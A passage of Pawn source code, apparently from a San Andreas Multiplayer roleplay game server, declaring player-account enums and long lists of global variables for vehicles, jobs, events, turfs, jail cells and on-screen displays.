	cLock_3,
	cDestroyed_3,
	cFuel_3,
	Float:cHealth_3,
	cMod1_3,
	cMod3_3,
	cMod4_3,
	cMod5_3,
	cMod6_3,
	cMod7_3,
	cMod8_3,
	cMod9_3,
	cMod10_3,
	cMod11_3,
	cMod12_3,
	cMod13_3,
	cMod14_3,
	cMod15_3,
	cMod16_3,
	cMod17_3,
	cPaintJob_3,
	Float:cKilo_3,
	cPanel_3,
	cDoors_3,
	cLights_3,
	cTires_3,
	cFixed_3,
	cInsurance_3,
	Float:gLocationX_3,
	Float:gLocationY_3,
	Float:gLocationZ_3,
	Float:gAngle_3,
	gParked_3,
	pCar_4,
	Float:cLocationx_4,
	Float:cLocationy_4,
	Float:cLocationz_4,
	Float:cAngle_4,
	cColor1_4,
	cColor2_4,
	cModel_4,
	cPrice_4,
	cPlate_4[128],
	cLock_4,
	cDestroyed_4,
	cFuel_4,
	Float:cHealth_4,
	cMod1_4,
	cMod3_4,
	cMod4_4,
	cMod5_4,
	cMod6_4,
	cMod7_4,
	cMod8_4,
	cMod9_4,
	cMod10_4,
	cMod11_4,
	cMod12_4,
	cMod13_4,
	cMod14_4,
	cMod15_4,
	cMod16_4,
	cMod17_4,
	cPaintJob_4,
	Float:cKilo_4,
	cPanel_4,
	cDoors_4,
	cLights_4,
	cTires_4,
	cFixed_4,
	cInsurance_4,
	Float:gLocationX_4,
	Float:gLocationY_4,
	Float:gLocationZ_4,
	Float:gAngle_4,
	gParked_4,
	pLav,
	pHav,
	pAav,
	pFriends,
	pVeh1,
	pVeh2,
	pVeh3,
	pVeh4,
	pVeh5,
	pVeh6,
	pCar_1,
	pCar_5,
	pCar_6,
	pPExpire[24],
	pPDay,
	pDFaction[256],
	pDClan[256],
	pGetWeb,
	pSoldier,
	pCard,
	pCharge,
	pDJ,
	pGift,
	pLau,
	pSprays,
	pGBox,
	pBox,
	pFSS,
	pActA,
	pActH,
	pActL,
	pAuto,
	pAutoIP[100],
	pVip,
	pHDay,
	pHAgr,
	pSPoint,
	pPoint,
	pRelogIP,
	pRelog,
	pAutoPIN,
	pGlasses,
	pGMute,
	pCChat,
	pMlp,
	pHlp,
	pAutoS,
	pRefa,
	pAlp,
	pWlp,
	pSlp,
	pStaffDays,
	pActHour,
	pActMin,
	pActSec,
	pSponser,
	pSDay,
	pHWID[100],
	pRHWID[100],
	pActSecOver,
	pActMinOver,
	pActHourOver,
	pVoted,
	pIlPoints,
	pHackPoints,
	pGPS,
	pSRob,
	pChBan,
	pTBan,
	pSecurity,
	pSecQuestion[128],
    pAnsQuestion[128],
    pFAct1,
    pFAct2,
    pFAct3,
    pFAct4,
    pNCard,
    pNCNum,
    pBuff,
    Float:pCoins,
    Float:pMinedToday
};

enum zInfo
{
	zSQLid,
	zOwner[64],
	Float:zMinX,
	Float:zMinY,
	Float:zMaxX,
	Float:zMaxY,
	zAttacker
};

enum newsenum
{
	Sender[MAX_PLAYER_NAME],
	Text[256]
};

enum czInfo
{
	   Text3D:ci3D,
	   ciObjID,
	   bool:ciOpened,
	   Float:CellOpenx,
	   Float:CellOpenY,
	   Float:CellOpenZ,
	   Float:CellCloseX,
	   Float:CellCloseY,
	   Float:CellCloseZ,
	   Float:CellOpenRotX,
	   Float:CellOpenRotY,
	   Float:CellOpenRotZ,
	   Float:CellCloseRotX,
	   Float:CellCloseRotY,
	   Float:CellCloseRotZ
};

enum czInfoEx
{
	   Text3D:ci3D,
	   ciObjID,
	   bool:ciOpened,
	   Float:CellOpenx,
	   Float:CellOpenY,
	   Float:CellOpenZ,
	   Float:CellCloseX,
	   Float:CellCloseY,
	   Float:CellCloseZ,
	   Float:CellOpenRotX,
	   Float:CellOpenRotY,
	   Float:CellOpenRotZ,
	   Float:CellCloseRotX,
	   Float:CellCloseRotY,
	   Float:CellCloseRotZ
};

enum SAZONE_MAIN
{
	   SAZONE_NAME[28],
	   Float:SAZONE_AREA[6]
};

enum pHaul
{
	pCapasity,
	pLoad
};

enum sbInfo
{
	sbSQLid,
	sbOwned,
	sbOwner[64],
	sbMessage[128],
	Float:sbEntranceX,
	Float:sbEntranceY,
	Float:sbEntranceZ,
	sbLevelNeeded,
	sbBuyPrice,
	sbEntranceCost,
	sbTill,
	sbProducts,
	sbMaxProducts,
	sbPriceProd,
	sbForosh
};

enum bInfo
{
	bSQLid,
	bOwned,
	bOwner[64],
	bMessage[128],
	Float:bEntranceX,
	Float:bEntranceY,
	Float:bEntranceZ,
	Float:bExitX,
	Float:bExitY,
	Float:bExitZ,
	bLevelNeeded,
	bBuyPrice,
	bEntranceCost,
	bTill,
	bLocked,
	bInterior,
	bProducts,
	bMaxProducts,
	bPriceProd,
	bVW,
	bForosh
};
enum hInfo
{
	hSQLID,
	Float:hEntrancex,
	Float:hEntrancey,
	Float:hEntrancez,
	Float:hExitx,
	Float:hExity,
	Float:hExitz,
	hOwner[MAX_PLAYER_NAME],
	hValue,
	hHel,
	hInt,
	hLock,
	hOwned,
	hRent,
	hRentabil,
	hTakings,
	hLevel,
	hWorld,
	hForosh,
	hFurs
};


enum codeInfo
{
	codeID,
	codeCode,
	codeUsed,
	codeCreatedBy,
	codeUser,
	codeGolds,
	codeMoney,
	codeLevel,
	codeRespect
};

/*enum diInfo
{
	ddamager,
	Float:damount,
	dweaponid
};*/
enum {
CommonRed = 19006,
CommonOrange,
CommonGreen,
CommonBlue,
CommonPurple,
CommonEspiral,
CommonBlack,
CommonEyes,
CommonXadrex,
CommonTransparent,
CommonXRayVision,
SquareFormatYellow,
SquareFormatOrange,
SquareFormatRed,
SquareFormatBlue,
SquareFormatGreen,
RayBanGray,
RayBanBlue,
RayBanPurple,
RayBanPink,
RayBanRed,
RayBanOrange,
RayBanYellow,
RayBanGreen,
CircularNormal,
CircularYellow,
CircularRed,
CircularBlack,
CircularXadrex,
CircularThunders,
CopGlassesBlack = 19138,
CopGlassesRed = 19139,
CopGlassesBlue = 19140,
};

/*----------------------------------------------------------------------------*/
static PlayerSetFreq[MAX_PLAYERS][10],
	  CallWaiting[MAX_PLAYERS],
	  Akharish,
	  TimerRingTone[MAX_PLAYERS],
	  // By SiNaGaMeR
	  bool:GodmodeFeature[MAX_PLAYERS],
	  bool:GunFire[MAX_PLAYERS],
	  bool:SecRanger[MAX_PLAYERS],
	  EventPlayer[MAX_PLAYERS],
	  EventBan[MAX_PLAYERS],
	  RangerKir[MAX_PLAYERS],
	  FlyMikone[MAX_PLAYERS],
	  NoGoto[MAX_PLAYERS],
	  // End
//       bool:NoWh[MAX_PLAYERS],
	  NoTP[MAX_PLAYERS],
	  NoPM[MAX_PLAYERS],
	  randomsm[MAX_PLAYERS],
	  IHaveKey[MAX_PLAYERS],
	  IHaveKey_2[MAX_PLAYERS],
	   IHaveKey_3[MAX_PLAYERS],
	   IHaveKey_4[MAX_PLAYERS],
	   IHaveKey_5[MAX_PLAYERS],
	   IHaveKey_6[MAX_PLAYERS],
	  Cheating[MAX_PLAYERS],
	  Cheating2[MAX_PLAYERS],
	  flymode[MAX_PLAYERS],
	   barrierlv,
	  barrierls,
	  garagels,
	  AreaGate,
	  garagelv,
	  garagelv1,
	  area1gate1,
	  area2gate1,
	  area3gate1,
	  area1gate2,
	  area2gate2,
	  area1gate3,
	  area2gate3,
	  gPlayerAnimLibsPreloaded[MAX_PLAYERS],
	  maptpallow[MAX_PLAYERS],
	  //DamageInfo[MAX_PLAYERS][diInfo],
	  Trashes[MAX_PLAYERS],
	  OnAshghal[MAX_PLAYERS],
	  Trashlevel[MAX_PLAYERS],
	  turfattacker[49],
	  turfkhod[49],
	  killsattacker[MAX_PLAYERS],
	  LastSpeedVeh[MAX_PLAYERS],
	  TimeOffedEngine[MAX_PLAYERS],
	  deathsattacker[MAX_PLAYERS],
	  killskhod[MAX_PLAYERS],
	  deathskhod[MAX_PLAYERS],
	  MojazBeCar[MAX_PLAYERS],
	  OnWar[MAX_PLAYERS],
	  killsattackerturf[49],
	  deathsattackerturf[49],
	  killskhodturf[49],
	  deathskhodturf[49],
	  scoreattacker[49],
	  scorekhod[49],
	  bool:EventHave = false,
	  bool:EventGotoHave = false,
	  EventOrg = INVALID_PLAYER_ID,
	  EventReward[MAX_PLAYERS],
	  EventTime[MAX_PLAYERS][20],
	  EventLocation[MAX_PLAYERS][60],
	  EventDesc[MAX_PLAYERS][80],
	  EventID[MAX_PLAYERS],
	  bool:EventIDUsed[1001],
	  EventIDOrg[1001],
	  EventTitle[MAX_PLAYERS][60],
	  bool:TogEvent[MAX_PLAYERS],
	  bool:OnRob[MAX_PLAYERS],
	  bool:RobLeader[MAX_PLAYERS],
	  RobDriver[MAX_PLAYERS],
	  RobMember[MAX_PLAYERS][MAX_PLAYERS],
	  RobMemberCount[MAX_PLAYERS],
	  OwnableCarMethod[MAX_PLAYERS],
	 // light,
	  /*bool:ServerObG,
	  ServerObj,
	  ObjModelid,*/
	  amb1,
	  amb2,
	  amb3,
	  amb4,
	  amb5,
	  amb6,
	  amb7,
	  amb8,
	  amb9,
	  hitmav1,
	  hitmav2,
	  hitmav3,
	  infer1,
	  infer2,
	  infer3,
	  infer4,
	  infer5,
	  medcaraf,
	  hitmav,
	  light3,
	  light4,
	  light5,
	   light6,
	   light7,
	  //neon1,
	 // neon2,
	  neon3,
	  neon4,
	  neon5,
	   neon6,
	   neon7,
	  MostPlayersOnline,
	  CarRadio[MAX_VEHICLES][600],
	  bool:CarRadioPlayed[MAX_PLAYERS],
	  TeadadPlayers,
	  //carneon1[MAX_VEHICLES] = 1,
	  //carneon2[MAX_VEHICLES] = 1,
	  carneon3[MAX_VEHICLES] = 1,
	  carneon4[MAX_VEHICLES] = 1,
	  carneon5[MAX_VEHICLES] = 1,
	  carneon6[MAX_VEHICLES] = 1,
	  carneon7[MAX_VEHICLES] = 1,
	  MashinRenter[MAX_VEHICLES],
	  bool:OnRentMashinMessage[MAX_PLAYERS],
	  LuxTaxi1,
	  taxiicon1,
	  LuxTaxi2,
	  taxiicon2,
	   taxiicon3,
	   taxiicon4,
	  ManMitoonamSkin[MAX_PLAYERS],
	  TruckLevel[MAX_PLAYERS],
	  OldCar[MAX_PLAYERS],
	  bool:CmdLocked[MAX_PLAYERS],
	  TruckAllowed[MAX_PLAYERS],
	   TooPiz[MAX_PLAYERS],
	   PizLevel[MAX_PLAYERS],
	  CheckWeaponTime[MAX_PLAYERS],
	  bool:WeaponTimeRunning[MAX_PLAYERS],
	  PlayerText:KiloTextDraw[MAX_PLAYERS],
	   Text:WarBox,
	   //PlayerText:WarST[MAX_PLAYERS],
	   Text:WarA[50],
	   Text:WarD[50],
	   PlayerText:WarS[MAX_PLAYERS],
	   PlayerText:WarDea[MAX_PLAYERS],
	   Text:WarVS,
	   PlayerText:WarK[MAX_PLAYERS],
	   //Text:WarT[MAX_PLAYERS],
	   Text:WarTR[50],
	   PlayerText:ExamTD[MAX_PLAYERS],
	   PlayerText:LockTD[MAX_PLAYERS],
	  MyPayMin[MAX_PLAYERS],
	  Megaphonetext[MAX_PLAYERS][100],
	  bool:RequestSelected[MAX_PLAYERS],
	  handle,
	  teadadacc,
	  jadidacc[40],
	  //teadadeban,
	  TurfShow[MAX_PLAYERS],
	  errormessage[MAX_PLAYERS],
	  errormessage2[MAX_PLAYERS],
	  Text:Time, Text:Date,
	  TooBiz[MAX_PLAYERS],
	  TooHouse[MAX_PLAYERS],
	  bullet1,
	  bulletpd1,
	  adtextplayer[MAX_PLAYERS][128],
	  bullet2,
	  bulletpd2,
	  bulletlight1,
	  bulletlight2,
	  AmirMamad,
//	  bulletneon1,
//	  bulletneon2,
	  bullettext1,
	  bullettext2,
	  PlayerText:SpeedoTextDraw[MAX_PLAYERS],
	  PlayerText:FuelTextDraw[MAX_PLAYERS],
	  //PlayerText:SkinPreview[MAX_PLAYERS],
	  DarsadBenzin[MAX_VEHICLES],
	  Benzin[MAX_VEHICLES],
	  ManTooBusam[MAX_PLAYERS],
	  HelpmeDLG[MAX_PLAYERS][MAX_PLAYERS],
	  SelectedRequest[MAX_PLAYERS],
	  ReportDLG[MAX_PLAYERS][MAX_PLAYERS],
	  WDLG[MAX_PLAYERS][MAX_PLAYERS],
	  SelectedRRequest[MAX_PLAYERS],
	  SelectedWRequest[MAX_PLAYERS],
	  Text3D:houser[1100],
	  Text3D:bizer[85],
	  Text3D:sbizer[37],
	  Text3D:DrugActorName,
//	  Text:TGT,
	  Text:SinaG,
	  Text:AccountBar,
	  Float:PPos[MAX_PLAYERS][3],
	  Float:Koon[MAX_PLAYERS],
	  Float:Zereh[MAX_PLAYERS],
	  PlayerRespawned[MAX_PLAYERS],
	  tcc1,
	  tcc2,
	  tcc3,
	  tcc4,
	  tcc5,
	  tcc6,
	  tcc7,
	  Mahal[MAX_PLAYERS],
	  dmv1,
	  dmv2,
	  dmv3,
	  dmv4,
	  dmv5,
	  dmv6,
	  dmv7,
	  obj5,
	  Balsys1,
	   Balsys2,
	  // Balsys3,
	  // Balsys4,
	  // Balsys5,
	  // Balsys6,
	  sp1,
	  sp2,
	  sp3,
	  sp4,
	  sp5,
	  tatcar,
	  tatcar1,
	  tatcar2,
	  tatcar3,
	  tatcar4,
	  tatcar5,
	  tatcar6,
	  tatcar7,
	  Mat[MAX_PLAYERS],
	   Mat2[MAX_PLAYERS],
	  weapon2[MAX_PLAYERS],
	  ammo2[MAX_PLAYERS],
	  bool:LockEngine[MAX_VEHICLES],
	  weapon[MAX_PLAYERS],
	  ammo[MAX_PLAYERS],
	  GunPricee[MAX_PLAYERS],
	  Tofang[MAX_PLAYERS],
	  AFKTime[MAX_PLAYERS],
	  bool:IsPlayerDeath[MAX_PLAYERS],
	  bool:HLapTop[MAX_PLAYERS],
	  ReferralID[MAX_PLAYERS],
	  bool:TDShowedSpeedo[MAX_PLAYERS],
	  bool:TDShowedFuel[MAX_PLAYERS],
	  bool:TDShowedKilo[MAX_PLAYERS],
	   bool:TDShowedLock[MAX_PLAYERS],
	  bool:JailGateOpen = false,
	 // bool:TTgateopen = false,
	  JailGate,
	  TTgate,
	   EVgate,
	   JailX,
//	   sfpdgate1,
	   sfpdgate2,
	  Text3D:JailGate3D,
	  loliaia,
	  /*Float:BiroonJail[][3] =
	  {
	   {0.0,0.0,0.0},
	   {1752.083862,-1541.113281,1997.359497},
	   {1752.082885,-1545.398437,1997.359497},
	   {1752.082763,-1549.645385,1997.359497},
	   {1752.083251,-1553.962402,1997.359497},
	   {1752.083251,-1558.215698,1997.359497},
	   {1752.083740,-1562.391357,1997.359497},
	   {1752.082641,-1566.698120,1997.359497},
	   {1752.083862,-1570.976562,1997.359497},
	   {1752.084594,-1575.259521,1997.359497},
	   {1771.253295,-1541.112792,1997.359497},
	   {1771.252563,-1545.354980,1997.359497},
	   {1771.254150,-1549.641235,1997.359497},
	   {1771.253173,-1553.889038,1997.359497},
	   {1771.251220,-1558.151123,1997.359497},
	   {1771.253784,-1562.366699,1997.359497},
	   {1771.253173,-1566.616699,1997.359497},
	   {1771.253662,-1570.905883,1997.359497},
	   {1771.253295,-1575.167358,1997.359497},
	   {1752.086425,-1575.277954,1993.670043},
	   {1752.084838,-1571.028442,1993.670043},
	   {1752.085449,-1566.716064,1993.670043},
	   {1752.086791,-1562.378295,1993.670043},
	   {1752.083129,-1558.134643,1993.670043},
	   {1752.083496,-1553.905761,1993.670043},
	   {1752.083740,-1549.625244,1993.670043},
	   {1752.082763,-1545.367065,1993.670043},
	   {1752.082641,-1541.039184,1993.670043},
	   {1771.253662,-1541.114746,1993.670043},
	   {1771.251586,-1545.303466,1993.670043},
	   {1771.249633,-1549.599121,1993.670043},
	   {1771.252319,-1553.864135,1993.670043},
	   {1771.252929,-1558.091064,1993.670043},
	   {1771.254150,-1562.364013,1993.670043},
	   {1771.253784,-1566.570922,1993.670043},
	   {1771.252685,-1570.878662,1993.670043},
	   {1771.248291,-1575.180053,1993.670043}
	  },*/
      Float:NormalBiroonJail[][3] =
	  {
	   {0.0,0.0,0.0},
       {2588.450439, -1503.377929, -48.914062},
       {2588.450439, -1507.019287, -48.914062},
       {2588.449218, -1510.736206, -48.914062},
       {2588.449951, -1514.318725, -48.914062},
       {2588.449951, -1518.003662, -48.914062},
       {2587.804199, -1522.268798, -48.914062},
       {2584.208251, -1522.275146, -48.914062},
       {2580.512939, -1522.270019, -48.914062},
       {2577.864501, -1516.923828, -48.914062},
       {2577.864990, -1513.293090, -48.914062},
       {2577.862060, -1509.660278, -48.914062},
       {2577.865966, -1505.985595, -48.914062},
       {2577.866210, -1502.295288, -48.914062}
	  },
	  /*Float:InJail[][3] =
	  {
	   {1750.071777,-1541.135986,1997.359497},
	   {1749.998168,-1545.273071,1997.359497},
	   {1750.359252,-1549.584350,1997.359497},
	   {1750.567871,-1553.921630,1997.359497},
	   {1750.094238,-1558.172973,1997.359497},
	   {1750.141113,-1562.449829,1997.359497},
	   {1749.876464,-1566.671630,1997.359497},
	   {1749.939575,-1570.887451,1997.359497},
	   {1749.932983,-1575.385131,1997.359497},
	   {1772.988281,-1540.895019,1997.359497},
	   {1772.844238,-1545.179931,1997.359497},
	   {1772.980224,-1549.397460,1997.359497},
	   {1772.820556,-1553.993896,1997.359497},
	   {1772.599243,-1558.090820,1997.359497},
	   {1772.830444,-1562.189208,1997.359497},
	   {1772.779052,-1566.480957,1997.359497},
	   {1773.333129,-1570.829223,1997.359497},
	   {1772.990478,-1574.863403,1997.359497},
	   {1750.196289,-1575.292358,1993.670043},
	   {1750.384887,-1570.991210,1993.670043},
	   {1750.328857,-1566.927001,1993.670043},
	   {1750.237426,-1562.639892,1993.670043},
	   {1750.192626,-1558.323608,1993.670043},
	   {1750.221923,-1554.190551,1993.670043},
	   {1750.230834,-1549.828491,1993.670043},
	   {1750.214355,-1545.564941,1993.670043},
	   {1750.217773,-1541.324462,1993.670043},
	   {1773.074340,-1540.996459,1993.670043},
	   {1772.923828,-1545.286499,1993.670043},
	   {1772.725341,-1549.537109,1993.670043},
	   {1772.900634,-1553.661743,1993.670043},
	   {1773.167358,-1558.037841,1993.670043},
	   {1772.894531,-1562.230468,1993.670043},
	   {1772.913940,-1566.348876,1993.670043},
	   {1772.953735,-1570.680175,1993.670043},
	   {1773.257568,-1574.920166,1993.670043}
	  },*/
	  Float:EnferadiInJail[][3] =
	  {
	   {-1965.513671, 296.708282, 1556.237548},
	   {-1976.568969, 310.899627, 1556.206787},
	   {-1976.366943, 315.250946, 1556.206787},
	   {-1960.756347, 319.452117, 1552.141601},
	   {-1976.317504, 315.223358, 1552.138671},
	   {-1972.595214, 298.310943, 1552.137451},
	   {-1961.015991, 306.536834, 1552.141723},
	   {-1976.233886, 310.975585, 1552.138671},
	   {-1976.606567, 323.593566, 1552.138671},
	   {-1976.667602, 302.496368, 1556.206787}
	  },
	  Float:NormalInJail[][3] =
	  {
	   {2591.349609, -1503.261840, -48.914062},
	   {2591.043701, -1507.109985, -48.914062},
	   {2590.865478, -1510.541381, -48.914062},
	   {2591.328125, -1514.262207, -48.914062},
	   {2591.270263, -1518.054321, -48.914062},
	   {2587.795410, -1525.959472, -48.914062},
	   {2584.038085, -1526.127563, -48.914062},
	   {2580.556396, -1526.443359, -48.914062},
	   {2574.049804, -1516.702026, -48.914062},
	   {2574.411621, -1513.277587, -48.914062},
	   {2574.061279, -1509.698242, -48.914062},
	   {2574.259277, -1505.912719, -48.914062},
	   {2574.368652, -1502.447021, -48.914062}
	  },
	  Text3D:OAC3D,
	   //Text3D:OXRR,
	  bool:allcell,
	  ZendanInfo[37][czInfo],
	  ZendanInfoEx[14][czInfoEx],
	  TrueTeleport[MAX_PLAYERS],
	  barcar,
	  barcar1,
	  barcar2,
	  barcar3,
	  barcar4,
	  barcar5,
	  barcar6,
	  CountDeaths [ MAX_PLAYERS ],
	  StartDeathTick [ MAX_PLAYERS ],
	  OwnedMashin[MAX_VEHICLES],
	  MashinOwner[MAX_VEHICLES],
	  OwnedMashin_2[MAX_VEHICLES],
	  MashinOwner_2[MAX_VEHICLES],
	   //OwnedMashin_3[MAX_VEHICLES],
	  MashinOwner_3[MAX_VEHICLES],
	  // OwnedMashin_4[MAX_VEHICLES],
	  MashinOwner_4[MAX_VEHICLES],
	   VehOwned[MAX_VEHICLES],
	  VehOwner[MAX_VEHICLES],
	  locatemashin[MAX_PLAYERS],
	  KickLogin[MAX_PLAYERS],
	  bool:KickLoginUsed[MAX_PLAYERS],
	  IWantCar[MAX_PLAYERS],
	  PriceCar[MAX_PLAYERS],
	  KeyDade_2[MAX_PLAYERS],
	  KeyDade[MAX_PLAYERS],
	   KeyDade_3[MAX_PLAYERS],
	   KeyDade_4[MAX_PLAYERS],
	   KeyDade_5[MAX_PLAYERS],
	   KeyDade_6[MAX_PLAYERS],
	  OnCheckpoint[MAX_PLAYERS],
	  bool:PlayerOnDeathingE[MAX_PLAYERS],

	   lmcar1,
	   lmcar2,
	   lmcar3,
	   lmcar4,
	   lmcar5,
	   lmcar6,
	   lmcar7,
	   lmcar8,
	   lmcar9,
	   lmcar10,
	   lmcar11,
	   lmcar12,


	   stormc1,
	   stormc2,
	   stormc3,
	   stormc4,
	   stormc5,
	   stormc6,
	   stormc7,
	   stormc8,
	   stormc9,
	   stormc10,
	   stormc11,
	   stormc12,
	   stormc13,

	   TBFc1,
	   TBFc2,
	   TBFc3,
	   TBFc4,
	   TBFc5,
	   TBFc6,
	   TBFc7,
	   TBFc8,
	   TBFc9,
	   TBFc10,
	   TBFc11,
	   TBFc12,
	   TBFc13,

	   dtc1,
	   dtc2,
	   dtc3,
	   dtc4,
	   dtc5,
	   dtc6,
	   dtc7,
	   dtc8,
	   dtc9,
	   dtc10,
	   dtc11,
	   dtc12,
	   dtc13,
	   dtc14,

		tkc,
		smcar,

	  corcar,
	  corcar1,
	  corcar2,
	  corcar3,
	  corcar4,
	  corcar5,
	  kmfcar8,
	  kmfcar9,
	  kmfcar10,
	  kmfcar11,
	  kmfcar12,
	  kmfcar13,
	  kmfcar14,
	  kmfcar15,
	  kmfcar16,
	  kmfcar17,
	  kmfcar18,
	  kmfcar19,
	  kmfcar20,
	  trcarx1,
	  trcarx2,
	  trcarx3,
	  trcarx4,
	  trcarx5,
	  trcarx6,
	  trcarx7,
	  trcarx8,
	  trcarx9,
      buscarx1,
      buscarx2,
      buscarx3,
      buscarx4,
      buscarx5,
      buscarx6,
      buscarx7,
      buscarx8,
      buscarx9,
      buscarx10,
      buscarx11,
      buscarx12,
      buscarx13,
      buscarx14,
      buscarx15,
      buscarx16,
      carcopx1,
      carcopx2,
      carcopx3,
      carcopx4,
      carcopx5,
      carcopx6,
      carcopx7,
      carcopx8,
      carcopx9,
      carcopx10,
      carcopx11,
      carcopx12,
      carcopx13,
      carcopx14,
      carcopx15,
      carcopx16,
      carcopx17,
      carcopx18,
      carcopx19,
      carcopx20,
      carcopx21,
      carcopx22,
      carcopx23,
      carcopx24,
      carcopx25,
      carcopx26,
      carcopx27,
      carcopx28,
      carcopx29,
      carcopx30,
      carcopx31,
      carcopx32,
      carcopx33,
      carcopx34,
      carcopx35,
      carcopx36,
      carcopx37,
      carcopx38,
      carcopx39,
      carcopx40,
      carcopx41,
      carcopx42,
      carcopx43,
      carcopx44,
      carcopx45,
      carcopx46,
      carcopx47,
      carcopx48,
      carcopx49,
      carcopx50,
      carcopx51,
      carcopx52,
      carcopx53,
      carcopx54,
      carcopx55,
      carcopx56,
      carcopx57,
      carcopx58,
      carcopx59,
      carcopx60,
      carcopx61,
      carcopx62,
      carcopx63,
      carcopx64,
      carcopx65,
      carcopx66,
      carcopx67,                    
      newsrpx1,
      newsrpx2,
      newsrpx3,
      newsrpx4,
      newsrpx5,
      newsrpx6,
      newsrpx7,
      newsrpx8,
      newsrpx9,
      newsrpx10,
      newsrpx11,
      newsrpx12,
      jcarx1,
      jcarx2,
      jcarx3,
      taxicarx1,
      taxicarx2,
      taxicarx3,
      taxicarx4,
      taxicarx5,
      taxicarx6,
      taxicarx7,
      taxicarx8,
      taxicarx9,
      taxicarx10,
      taxicarx11,
      taxicarx12,
      taxicarx13,
      taxicarx14,
	  taxicarx15,
	  taxicarx16,
	  taxicarx17,
	  oilcar1,
	  oilcar2,
	  oilcar3,
	  oilcar4,
	  oilcar5,
	  oilcar6,
	  oilcar7,
	  unkcar1,
	  unkcar2,
	  unkcar3,
	  unkcar4,
	  unkcar5,
	  unkcar6,
	  unkcar7,
	  unkcar8,
	  unkcar9,
	  unkcar10,
	  unkcar11,
	  unkcar12,
	  unkcar13,
	  unkcar14,
	  unkcar15,
	  unkcar16,
	  unkcar17,
      hitcarx1,
      hitcarx2,
      hitcarx3,
      hitcarx4,
      hitcarx5,
      hitcarx6,
      hitcarx7,
      hitcarx8,
      hitcarx9,
      hitcarx10,
      hitcarx11,
      hitcarx12,
      hitcarx13,
      hitcarx14,
      hitcarx15,
      hitcarx16,
      hitcarx17,
      hitcarx18,
      hitcarx19,
      hitcarx20,
      trucarx1,
      trucarx2,
      trucarx3,
      trucarx4,
      trucarx5,
      trucarx6,
      trucarx7,
      trucarx8,
      trucarx9,
      trucarx10,
      trucarx11,
      trucarx12,
      trucarx13,
      trucarx14,
      trucarx15,
      trucarx16,
      trucarx17,
      trucarx18,
      trucarx19,
      trucarx20,
      trucarx21,
      trucarx22,
      trucarx23,
      trucarx24,
      trucarx25,
      trucarx26,
      trucarx27,
      farmveh1,
      farmveh2,
      farmveh3,
      farmveh4,
      farmveh5,
      farmveh6,
      farmveh7,
      farmveh8,
      farmveh9,
      farmveh10,
      farmveh11,
      farmveh12,
      farmveh13,
      farmveh14,
      farmveh15,
      farmveh16,
      farmveh17,
      farmveh18,
      farmveh19,
      farmveh20,
      farmveh21,
      farmveh22,
	  pdcaraf1,
	  pdcaraf2,
	  pdcaraf3,
	  pdcaraf4,
	  pdcaraf5,
	  pdcaraf6,
	  pdcaraf7,
	  pdcaraf8,
	  pdcaraf9,
	  pdcaraf10,
	  pdcaraf11,
	  pdcaraf12,
	  pdcaraf13,
	  pdcaraf14,
	  pdcaraf15,
	  pdcaraf16,
	  pdcaraf17,
	  pdcaraf18,
	  pdcaraf19,
	  pdcaraf20,
	  pdcaraf21,
	  pdcaraf22,
	  pdcaraf23,
	  pdcaraf24,
	  pdcaraf25,
	  pdcaraf26,
	  pdcaraf27,
	  pdcaraf28,
	  pdcaraf29,
	  pdcaraf30,
	  pdcaraf31,
	  pdcaraf32,
	  pdcaraf33,
	  pdcaraf34,
	  pdcaraf35,
	  pdcaraf36,
	  pdcaraf37,
	  pdcaraf38,
	  pdcaraf39,
	  pdcaraf40,
	  pdcaraf41,
	  pdcaraf42,
	  pdcaraf43,
	  pdcaraf44,
	  pdcaraf45,
	  pdcaraf46,
	  pdcaraf47,
	  pdcaraf48,
	  pdcaraf49,
	  pdcaraf50,
	  cuncar,
	  cuncar1,
	  cuncar2,
	  cuncar3,
	  cuncar4,
	  cuncar5,
	  cuncar6,
	  cuncar7,
	  smfcar8,
	  smfcar9,
	  smfcar10,
	  smfcar11,
	  smfcar12,
	  smfcar13,
	  smfcar14,
	  smfcar15,
	  smfcar16,
	  smfcar17,
	  smfcar18,
	  patcar,
	  patcar1,
	  patcar2,
	  patcar3,
	  patcar4,
	  patcar5,
	  patcar6,
	  patcar7,
	  scar,
	  scar1,
	  scar2,
	  scar3,
	  scar4,
	  scar5,
	  scar6,
	  TurfReload[50],
	  PlayerStyle[MAX_PLAYERS],
	  TimerAnnouncer[MAX_PLAYERS],
	  Ghatel[MAX_PLAYERS],
	  GhatelWanted[MAX_PLAYERS],
	  CrimeText[MAX_PLAYERS][100],
	  ManTooCom[MAX_PLAYERS],
	  PBANNED[MAX_PLAYERS],
	  EventCars[MAX_VEHICLES],
	  EventCar = 0,
	  CreatedCars[MAX_VEHICLES],
	  CreatedCar = 0,
	  Tax = 0,
	  TaxValue = 0,
	  Jackpot = 0,
	  ExpireToggle = 0,
	  ExpireDays = 0,
	  ArzesheCoin = 6000000,
	  NeedMedicTime[MAX_PLAYERS],
	  bool:WantedKamKonTimerValid[MAX_PLAYERS],
	  //WantedKamKonTimer[MAX_PLAYERS],
	  WantedTimerEZ[MAX_PLAYERS],
	  WantedeMan[MAX_PLAYERS],
	  bool:OnStopSpecing[MAX_PLAYERS],
	  BusLevel[MAX_PLAYERS],
	  BusLevelLV[MAX_PLAYERS],
	  LightsSTATE[MAX_VEHICLES],
	  EngineSTATE[MAX_VEHICLES],
	  bonnetSTATE[MAX_VEHICLES],
	  bootSTATE[MAX_VEHICLES],
	  engine,
	  lights,
	  alarm,
	  doors,
	  bonnet,
	  boot,
	  objective,
	  gNewb[MAX_PLAYERS],
	  PlayerText:JailTextDraw[MAX_PLAYERS],
	  PlayerFahmid[MAX_PLAYERS],
	  Medics = 0,
	  MedicCall = INVALID_PLAYER_ID,
	  MedicCallTime[MAX_PLAYERS],
	  MedicAccepted[MAX_PLAYERS],
	  IWantMedic[MAX_PLAYERS],
	  FindAccepted[MAX_PLAYERS],
	  Mechanics = 0,
	  MechanicCall = INVALID_PLAYER_ID,
	  MechanicCallTime[MAX_PLAYERS],
	  MechanicAccepted[MAX_PLAYERS],
	  IWantMechanic[MAX_PLAYERS],
	  TaxiDrivers = 0,
	  TaxiCall = INVALID_PLAYER_ID,
	  //bool:TimerRunning[MAX_PLAYERS],
	  TaxiCallTime[MAX_PLAYERS],
	  TaxiAccepted[MAX_PLAYERS],
	  IAcceptTaxi[MAX_PLAYERS],
	  IWantTaxi[MAX_PLAYERS],
	  bool:ACKolang[MAX_PLAYERS][50],
	  BusDrivers = 0,
	  TransportDuty[MAX_PLAYERS],
	  TransportValue[MAX_PLAYERS],
	  TransportMoney[MAX_PLAYERS],
	  TransportTime[MAX_PLAYERS],
	  TransportCost[MAX_PLAYERS],
